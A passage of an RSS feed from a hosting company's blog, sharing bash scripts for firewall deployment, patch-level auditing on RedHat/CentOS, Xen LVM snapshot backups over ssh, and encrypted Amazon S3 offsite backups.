STEP=`head -n 1 $TASKS`<br />
while [ ! -z $STEP ]<br />
do<br />
&nbsp; &nbsp; # execute the function.<br />
&nbsp; &nbsp; echo -e &quot;\n\n###################################&quot;<br />
&nbsp; &nbsp; echo &quot;[+] Running step: $STEP&quot;<br />
&nbsp; &nbsp; echo -e &quot;###################################\n\n&quot;<br />
&nbsp; &nbsp; $STEP<br />
&nbsp; &nbsp; if (($? != 0))<br />
&nbsp; &nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; # command failed.<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[!] ERROR: Step $STEP failed!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot; &nbsp; &nbsp;Installation will now abort - you can pick it up after fixing the problem&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit 1<br />
&nbsp; &nbsp; fi<br />
&nbsp; &nbsp; # throw up a newline just so things don't look so crowded<br />
&nbsp; &nbsp; echo<br />
&nbsp; &nbsp; # remove function from function list.<br />
&nbsp; &nbsp; perl -pi -e &quot;s/$STEP\n?//&quot; $TASKS || exit 1<br />
&nbsp; &nbsp; STEP=`head -n 1 $TASKS`<br />
done<br />
<br />
# clean_up_and_reboot<br />
echo &quot;[+] Installation finished - cleaning up.&quot;<br />
clean_up_and_reboot<br />
<br />
# script is done now - termination should happen with clean_up_and_reboot.<br />
echo &quot;[!] Should not be here!&quot;<br />
exit 1</div></div>
<p></small></b></p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Firewalls%20with%20bash%20scripting" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Firewalls%20with%20bash%20scripting" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Firewalls%20with%20bash%20scripting" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Firewalls%20with%20bash%20scripting" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;title=Automatically%20Deploy%20Debian%20Firewalls%20with%20bash%20scripting" id="wpa2a_14"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/06/02/automatically-deploy-debian-firewalls-with-bash-scripting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Patch Scanning / Information Gathering Script for RedHat / CentOS</title>
		<link>http://www.stardothosting.com/blog/2010/04/30/patch-scanning-information-gathering-script-for-redhat-centos/</link>
		<comments>http://www.stardothosting.com/blog/2010/04/30/patch-scanning-information-gathering-script-for-redhat-centos/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 16:17:27 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[imformation gathering]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[scripting]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=319</guid>
		<description><![CDATA[With all the patch management solutions, local repositories and other options, it is rarely necessary to manually scan all servers on your network to build a &#8220;report&#8221; of the patch levels in your environment. Sometimes it is, however. For instance, if you are brought into an environment that has not been properly managed and require [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>With all the patch management solutions, local repositories and other options, it is rarely necessary to manually scan all servers on your network to build a &#8220;report&#8221; of the patch levels in your environment.</p>
<p>Sometimes it is, however. For instance, if you are brought into an environment that has not been properly managed and require some quick audits to evaluate how much actual work needs to be done bringing all the patch levels up to standard, then there are ways to produce these reports with simple bash scripting.</p>
<p>I have developed such a script for similar situations &#8212; quick reporting is sometimes necessary even when you are evaluating a large commercial patch management solution. It can even be implemented to coincide such solutions, for independent reporting perhaps.</p>
<p>This script would work well either by distributing it to each server and running the script via <a href="http://blog.stardothosting.com/2009/06/02/ssh-key-based-authentication/" target="_new">ssh key based authentication</a> for centralized reporting. Alternatively, you could modify this script to perform each command via SSH over the network to gather information that way. It is probably more ideal to centrally distribute the script to each server so only one ssh command is executed per server.</p>
<p>Find the script below &#8212; note that it only works with RedHat / CentOS systems. Obviously if you are paying for Red Hat enterprise support you already are using satellite; If you are using CentOS then this script may be useful for you.</p>
<p>Enjoy!</p>
<pre>
#!/bin/sh

# Basic Information Gathering
# Star Dot Hosting
# http://www.stardothosting.com

HOSTNAME=`hostname`
UNAME=`uname -a | awk '{print $3}'`

# Begin Package Scanning

# SSH

SSHON="0"
SSHRUN="NULL"
SSHRPM="NULL"
SSHMATCH="NULL"

if [ -f /usr/sbin/sshd ]
then
        SSHON="1"
	SSHMATCH="0"
        SSHRUN=`ssh -V 2>&#038;1 | awk 'BEGIN { FS = "_" } ; { print $2 }' | awk '{print $1}' | cut -b 0-5`
	TESTRPM=`rpm -qa openssh`
	if [ "$TESTRPM" <> 0  ]
	then
	        SSHRPM=`rpm -qa openssh | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$SSHRUN" == "$SSHRPM" ]
        then
                SSHMATCH="1"
        fi

fi

# Apache

HTTPDON="0"
HTTPDRUN="NULL"
HTTPDRPM="NULL"
HTTPDMATCH="NULL"

if [ -f /usr/sbin/httpd ]
then
        HTTPDON="1"
	HTTPDMATCH="0"
        HTTPDRUN=`httpd -v | grep version | awk 'BEGIN {FS="/"};{print$2}'`
	TESTRPM=`rpm -qa httpd`
	if [ "$TESTRPM" <> 0  ]
	then
        	HTTPDRPM=`rpm -qa httpd | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$HTTPDRUN" == "$HTTPDRPM" ]
        then
                HTTPDMATCH="1"
        fi
fi

# MySQL

MYSQLON="0"
MYSQLRUN="NULL"
MYSQLRPM="NULL"
MYSQLMATCH="NULL"

if [ -f /usr/bin/mysql ]
then
        MYSQLON="1"
	MYSQLMATCH="0"
        MYSQLRUN=`mysql -V | awk '{print $5}' | cut -b 0-6`
	TESTRPM=`rpm -qa mysql`
	if [ "$TESTRPM" <> 0  ]
	then
        	MYSQLRPM=`rpm -qa mysql | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$MYSQLRUN" == "$MYSQLRPM" ]
        then
                MYSQLMATCH="1"
        fi
fi

# PHP

PHPON="0"
PHPRUN="NULL"
PHPRPM="NULL"
PHPMATCH="NULL"

if [ -f /usr/bin/php ]
then
        PHPON="1"
	PHPMATCH="0"
        PHPRUN=`php -v | grep built | awk '{print $2 }'`
	TESTRPM=`rpm -qa php`
	if [ "$TESTRPM" <> 0  ]
	then
        	PHPRPM=`rpm -qa php | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$PHPRUN" == "$PHPRPM" ]
        then
                PHPMATCH="1"
        fi
fi

# Exim
# Needs to be tested on RH box

EXIMON="0"
EXIMRUN="NULL"
EXIMRPM="NULL"
EXIMMATCH="NULL"

if [ -f /usr/sbin/exim ]
then
        EXIMON="1"
	EXIMMATCH="0"
        EXIMRUN=`exim -bV | grep version | awk '{print $3}'`
	TESTRPM=`rpm -qa exim`
	if [ "$TESTRPM" <> 0  ]
	then
        	EXIMRPM=`rpm -qa exim | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$EXIMRUN" == "$EXIMRPM" ]
        then
                EXIMMATCH="1"
        fi
fi

# OpenSSL

OSSLON="0"
OSSLRUN="NULL"
OSSLRPM="NULL"
OSSLMATCH="NULL"

if [ -f /usr/bin/openssl ]
then
        OSSLON="1"
	OSSLMATCH="0"
        OSSLRUN=`openssl version | awk '{print $2}'`
	TESTRPM=`rpm -qa openssl`
	if [ "$TESTRPM" <> 0  ]
	then
        	OSSLRPM=`rpm -qa openssl | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$OSSLRUN" == "$OSSLRPM" ]
        then
                OSSLMATCH="1"
        fi
fi

# PERL

PERLON="0"
PERLRUN="NULL"
PERLRPM="NULL"
PERLMATCH="NULL"

if [ -f /usr/bin/perl ]
then
        PERLON="1"
	PERLMATCH="0"
        PERLRUN=`perl -v | grep built | awk '{print $4}' | awk 'BEGIN { FS = "v" } ; { print $2 }'`
	TESTRPM=`rpm -qa perl`
	if [ "$TESTRPM" <> 0  ]
	then
        	PERLRPM=`rpm -qa perl | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$PERLRUN" == "$PERLRPM" ]
        then
                PERLMATCH="1"
        fi
fi

# PYTHON

PYON="0"
PYRUN="NULL"
PYRPM="NULL"
PYMATCH="NULL"

if [ -f /usr/bin/python ]
then
        PYON="1"
	PYMATCH="0"
        PYRUN=`python -V 2>&#038;1 | awk '{print $2}'`
	TESTRPM=`rpm -qa python`
	if [ "$TESTRPM" <> 0  ]
	then
        	PYRPM=`rpm -qa python | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$PYRUN" == "$PYRPM" ]
        then
                PYMATCH="1"
        fi
fi

# GPG

GPGON="0"
GPGRUN="NULL"
GPGRPM="NULL"
GPGMATCH="NULL"

if [ -f /usr/bin/gpg ]
then
        GPGON="1"
	GPGMATCH="0"
        GPGRUN=`gpg --version | grep gpg | awk '{print $3}'`
	TESTRPM=`rpm -qa gnupg`
	if [ "$TESTRPM" <> 0  ]
	then
        	GPGRPM=`rpm -qa gnupg | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$GPGRUN" == "$GPGRPM" ]
        then
                GPGMATCH="1"
        fi
fi

# RPM

RPMON="0"
RPMRUN="NULL"
RPMRPM="NULL"
RPMMATCH="NULL"

if [ -f /bin/rpm ]
then
        RPMON="1"
	RPMMATCH="0"
        RPMRUN=`rpm --version | awk '{print $3}'`
	TESTRPM=`rpm -qa rpm`
	if [ "$TESTRPM" <> 0  ]
	then
        	RPMRPM=`rpm -qa rpm | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$RPMRUN" == "$RPMRPM" ]
        then
                RPMMATCH="1"
        fi
fi

# SENDMAIL

SENDON="0"
SENDRUN="NULL"
SENDRPM="NULL"
SENDMATCH="NULL"

if [ -f /usr/sbin/sendmail ]
then
        SENDON="1"
        SENDMATCH="0"
        SENDRUN=`echo 'quit' | nc localhost 25 | grep Sendmail | awk '{print $5}' | awk 'BEGIN { FS = "/" } ; { print $1 }'`
	TESTRPM=`rpm -qa sendmail`
	if [ "$TESTRPM" <> 0  ]
	then
	        SENDRPM=`rpm -qa sendmail | awk 'BEGIN { FS = "-" } ; { print $2 }'`
	fi
        if [ "$SENDRUN" == "$SENDRPM" ]
        then
                SENDMATCH="1"
        fi
fi

### Non running packages

# bind-libs

BINDLIB="NULL"
TESTRPM=`rpm -qa bind-libs`
if [ "$TESTRPM" <> 0  ]
then
	BINDLIB=`rpm -qa bind-libs | awk 'BEGIN { FS = "-" } ; { print $3 }'`
fi

# bind-utils

BINDUTIL="NULL"
TESTRPM=`rpm -qa bind-utils`
if [ "$TESTRPM" <> 0  ]
then
	BINDUTIL=`rpm -qa bind-utils | awk 'BEGIN { FS = "-" } ; { print $3 }'`
fi

# coreutils

COREUTIL="NULL"
TESTRPM=`rpm -qa coreutils`
if [ "$TESTRPM" <> 0  ]
then
	COREUTIL=`rpm -qa coreutils | awk 'BEGIN { FS = "-" } ; { print $2 }'`
fi

# chkconfig

CHKCONFIG="NULL"
TESTRPM=`rpm -qa chkconfig`
if [ "$TESTRPM" <> 0  ]
then
	CHKCONFIG=`rpm -qa chkconfig | awk 'BEGIN { FS = "-" } ; { print $2 }'`
fi

# initscripts

INITSCR="NULL"
TESTRPM=`rpm -qa initscripts`
if [ "$TESTRPM" <> 0  ]
then
	INITSCR=`rpm -qa initscripts | awk 'BEGIN { FS = "-" } ; { print $2 }'`
fi

# redhat-release

RHRELEASE="NULL"
TESTRPM=`rpm -qa redhat-release`
if [ "$TESTRPM" <> 0  ]
then
	RHRELEASE=`rpm -qa redhat-release | awk 'BEGIN { FS = "-" } ; { print $3"-"$4 }'`
fi

echo $HOSTNAME,$UNAME,$SSHMATCH,$HTTPDMATCH,$MYSQLMATCH,$PHPMATCH,$EXIMMATCH,$OSSLMATCH,$PYMATCH,$PERLMATCH,$GPGMATCH,
$RPMMATCH,$SENDMATCH,$BINDLIB,$BINDUTIL,$COREUTIL,$CHKCONFIG,$INITSCR,$RHRELEASE,$SSHON,$SSHRUN,$SSHRPM,$HTTPDON,$HTTPDRUN,
$HTTPDRPM,$MYSQLON,$MYSQLRUN,$MYSQLRPM,$PHPON,$PHPRUN,$PHPRPM,$EXIMON,$EXIMRUN,$EXIMRPM,$OSSLON,$OSSLRUN,$OSSLRPM,$PERLON,
$PERLRUN,$PERLRPM,$PYON,$PYRUN,$PYRPM,$GPGON,$GPGRUN,$GPGRPM,$RPMON,$RPMRUN,$RPMRPM,$SENDON,$SENDRUN,$SENDRPM
</pre>
<p>Note that you can modify the echo output to produce whatever output you need in order to present it in a nice human readable report.</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;linkname=Patch%20Scanning%20%2F%20Information%20Gathering%20Script%20for%20RedHat%20%2F%20CentOS" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;linkname=Patch%20Scanning%20%2F%20Information%20Gathering%20Script%20for%20RedHat%20%2F%20CentOS" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;linkname=Patch%20Scanning%20%2F%20Information%20Gathering%20Script%20for%20RedHat%20%2F%20CentOS" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;linkname=Patch%20Scanning%20%2F%20Information%20Gathering%20Script%20for%20RedHat%20%2F%20CentOS" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F30%2Fpatch-scanning-information-gathering-script-for-redhat-centos%2F&amp;title=Patch%20Scanning%20%2F%20Information%20Gathering%20Script%20for%20RedHat%20%2F%20CentOS" id="wpa2a_16"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/04/30/patch-scanning-information-gathering-script-for-redhat-centos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to backup Xen with Logical Volume Mounts ; Works with HyperVM, SolusVM, FluidVM and More</title>
		<link>http://www.stardothosting.com/blog/2010/03/19/how-to-backup-xen-with-logical-volume-mounts-works-with-hypervm-solusvm-fluidvm-and-more/</link>
		<comments>http://www.stardothosting.com/blog/2010/03/19/how-to-backup-xen-with-logical-volume-mounts-works-with-hypervm-solusvm-fluidvm-and-more/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 19:19:43 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[fluidvm]]></category>
		<category><![CDATA[hypervm]]></category>
		<category><![CDATA[lvm]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[solusvm]]></category>
		<category><![CDATA[xen]]></category>
		<category><![CDATA[xen backup]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=282</guid>
		<description><![CDATA[Through our research and implementation of many Xen environments, it has become necessary to develop a reliable and secure method for backing up our Xen instances that are mounted on Logical Volumes (LVM).]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F03%2F19%2Fhow-to-backup-xen-with-logical-volume-mounts-works-with-hypervm-solusvm-fluidvm-and-more%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F03%2F19%2Fhow-to-backup-xen-with-logical-volume-mounts-works-with-hypervm-solusvm-fluidvm-and-more%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Through our research and implementation of many Xen environments, it has become necessary to develop a reliable and secure method for backing up our Xen instances that are mounted on Logical Volumes (LVM).</p>
<p>The underlying problem is that the logical volume is usually a live file system that cannot be directly mounted / backed up or imaged safely.</p>
<p>We have written a script that processes all running Xen logical volumes, creates a <b>snapshot</b> of the volume and through that snapshot , uses <b>dd</b> to image the snapshot to another server over <b>ssh</b>.</p>
<p>You would be surprised at how well these dd images compress. Piping dd to bzip2 then to ssh to receive the image produces a very substantial compression ratio.</p>
<p>The initial trouble was writing the logic in the script to properly go through each Xen LV , create the snapshot, image and then remove the snapshot. Obviously extensive testing had to be completed to ensure reliability and proper error reporting. </p>
<p>This script should work with any 3rd party Xen control panel implementation (HyperVM, FluidVM, SolusVM to name a few). They all use the same underlying technology / framework. Since our script is a simple bash / shell script, it will run on any linux based system with little modification. </p>
<p>If you are using a LV for another purpose on the same box, it is probably a good idea to modify the script to ignore that so it doesn&#8217;t inadvertently get backed up.</p>
<p>Before implementing the script, it is probably a good idea to go through the motions manually just to see how it performs :</p>
<pre>
lvcreate -s -L 5G -n vm101_img_snapshot /dev/vps/vm101_img
dd if=/dev/vps/vm101_img_snapshot | bzip2 | ssh xenbackup@x.x.x.x "dd of=vm101_img.bz2"
</pre>
<p>One thing that you cant get around is space &#8212; you need to leave as much room as the largest Xen image on your logical volume &#8212; otherwise the script will fail at the snapshot creation process.</p>
<p>Find the script below. Hopefully it will help make your life easier (as well as being able to sleep at night) :</p>
<pre>
#!/bin/bash
# XEN Backup script
# Written by Star Dot Hosting

todaysdate=`date "+%Y-%m-%d"`

echo "XEN Backup Log: " $currentmonth > /var/log/backup.log
echo -e "------------------------------------" >> /var/log/backup.log
echo -e "" >> /var/log/backup.log

for obj0 in $(lvs --noheadings --separator ',' -o lv_name,lv_size | grep -v "swap" | awk -F "," '{printf "%s\n", $1}');
do

#grab the snapshot size
snapsize=`lvs --noheadings --separator ',' -o lv_name,lv_size | grep -v "swap" | grep $obj0 | awk -F "," '{printf "%s", $2}'`

#create the snapshot
lvcreate -s -L $snapsize -n $obj0_snapshot /dev/xenlvm/$obj0 >> /var/log/backup.log 2>&#038;1

#dd piped to bzip2 to compress the stream before piping it over the network via ssh to the destination box
dd if=/dev/xenlvm/$obj0_snapshot | bzip2 | ssh xenbackup@0.0.0.0 "dd of=/home/xenbackup/xen-backups/$obj0.$todaysdate.bz" >> /var/log/backup.log 2>&#038;1

if [ "$?" -eq 1 ]
then
        echo -e "***SCRIPT FAILED, THERE WERE ERRORS***" >> /var/log/backup.log 2>&#038;1
        cat /var/log/backup.log | mail -s "XEN Backup Job failed" admin@yourdomain.com
        lvremove -f /dev/xenlvm/$obj0_snapshot
        exit 1
else
        echo -e "Backup of $obj0 Completed Successfully!" >> /var/log/backup.log 2>&#038;1
fi

# remove the snapshot
lvremove -f /dev/xenlvm/$obj0_snapshot

done

cat /var/log/backup.log | mail -s "XEN Backup Job Completed" admin@yourdomain.com
</pre>
<p>If you plan on automating this script in a cronjob, it may be a good idea to utilize <a href="http://blog.stardothosting.com/2009/06/02/ssh-key-based-authentication/">ssh key authentication</a> between your destination server and your Xen server.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/03/19/how-to-backup-xen-with-logical-volume-mounts-works-with-hypervm-solusvm-fluidvm-and-more/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Amazon S3 Backup script with encryption</title>
		<link>http://www.stardothosting.com/blog/2010/02/16/amazon-s3-backup-script-with-encryption/</link>
		<comments>http://www.stardothosting.com/blog/2010/02/16/amazon-s3-backup-script-with-encryption/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 20:36:35 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Amazon S3]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[s3]]></category>
		<category><![CDATA[scripting]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=263</guid>
		<description><![CDATA[With the advent of cloud computing, there have been several advances as far as commercial cloud offerings, most notably Amazon&#8217;s EC2 computing platform as well as their S3 Storage platform. Backing up to Amazon S3 has become a popular alternative to achieving true offsite backup capabilities for many organizations. The fast data transfer speeds as [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F02%2F16%2Famazon-s3-backup-script-with-encryption%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>With the advent of cloud computing, there have been several advances as far as commercial cloud offerings, most notably Amazon&#8217;s EC2 computing platform as well as their S3 Storage platform.</p>
<p>Backing up to Amazon S3 has become a popular alternative to achieving true offsite backup capabilities for many organizations.</p>
<p>The fast data transfer speeds as well as the low cost of storage per gigabyte make it an attractive offer.</p>
<p>There are several free software solutions that offer the ability to connect to S3 and transfer files. The one that shows the most promise is <a href="http://s3sync.net/wiki" target="_new">s3sync</a>.</p>
<p>There are already <a href="http://blog.eberly.org/2006/10/09/how-automate-your-backup-to-amazon-s3-using-s3sync/" target="_new">a few guides</a> that show you how to implement s3sync on your system.</p>
<p>The good thing is that this can be implemented in Windows, Linux, FreeBSD among other operating systems.</p>
<p>We have written a simple script that utilizes the s3sync program in a scheduled offsite backup scenario. Find our script below, and modify it as you wish. Hopefully it will help you get your data safely offsite <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<pre>
#!/bin/sh
# OffSite Backup script

currentmonth=`date "+%Y-%m-%d %H:%M:%S"`

export AWS_ACCESS_KEY_ID="YOUR-ACCESS-KEY"
export AWS_SECRET_ACCESS_KEY="YOUR-SECRET-ACCESS-KEY"

echo "Offsite Backup Log: " $currentmonth > /var/log/offsite-backup.log
echo -e "----------------------------------------" >> /var/log/offsite-backup.log
echo -e "" >> /var/log/offsite-backup.log

# Archive Files and remove files older than 3 days
/usr/bin/find /home/offsite-backup-files -type f -mtime +3 -delete

# Compress and archive a few select key folders for archival and transfer to S3
tar -czvf /home/offsite-backup-files/offsite-backup-`date "+%Y-%m-%d"`.tar.gz /folder1 /folder2 /folder3 >> /var/log/offsite-backup.log 2>&#038;1

# Transfer the files to Amazon S3 Storage via HTTPS
/usr/local/bin/ruby /usr/local/bin/s3sync/s3sync.rb --ssl -v --delete -r /home/offsite-backup-files your-node:your-sub-node/your-sub-sub-node >> /var/log/offsite-b
ackup.log 2>&#038;1

# Some simple error checking and email alert logging
if [ "$?" -eq 1 ]
then
        echo -e "***OFFSITE BACKUP JOB, THERE WERE ERRORS***" >> /var/log/offsite-backup.log 2>&#038;1
        cat /var/log/offsite-backup.log | mail -s "Offsite Backup Job failed" you@yourdomain.com
        exit 1
else
        echo -e "Script Completed Successfully!" >> /var/log/offsite-backup.log 2>&#038;1
        cat /var/log/offsite-backup.log | mail -s "Offsite Backup Job Completed" your@yourdomain.com
        exit 0
fi
</pre>
<p>Now if your data happens to be sensitive (most usually is), usually encrypting the data during transit (with the &#8211;ssl flag) is not enough.</p>
<p>You can encrypt the actual file before it is sent to S3, as an alternative. This would be incorporated into the tar command with the above script. That line would look something like this :</p>
<pre>
/usr/bin/tar -czvf - /folder1 /folder2 /folder3 | /usr/local/bin/gpg --encrypt -r you@yourdomain.com > /home/offsite-backup-files/offsite-backups-`date "+%Y-%m-%d"`.tpg
</pre>
<p>Alternative to gpg, you could utilize openssl to encrypt the data. </p>
<p>Hopefully this has been helpful!</p>
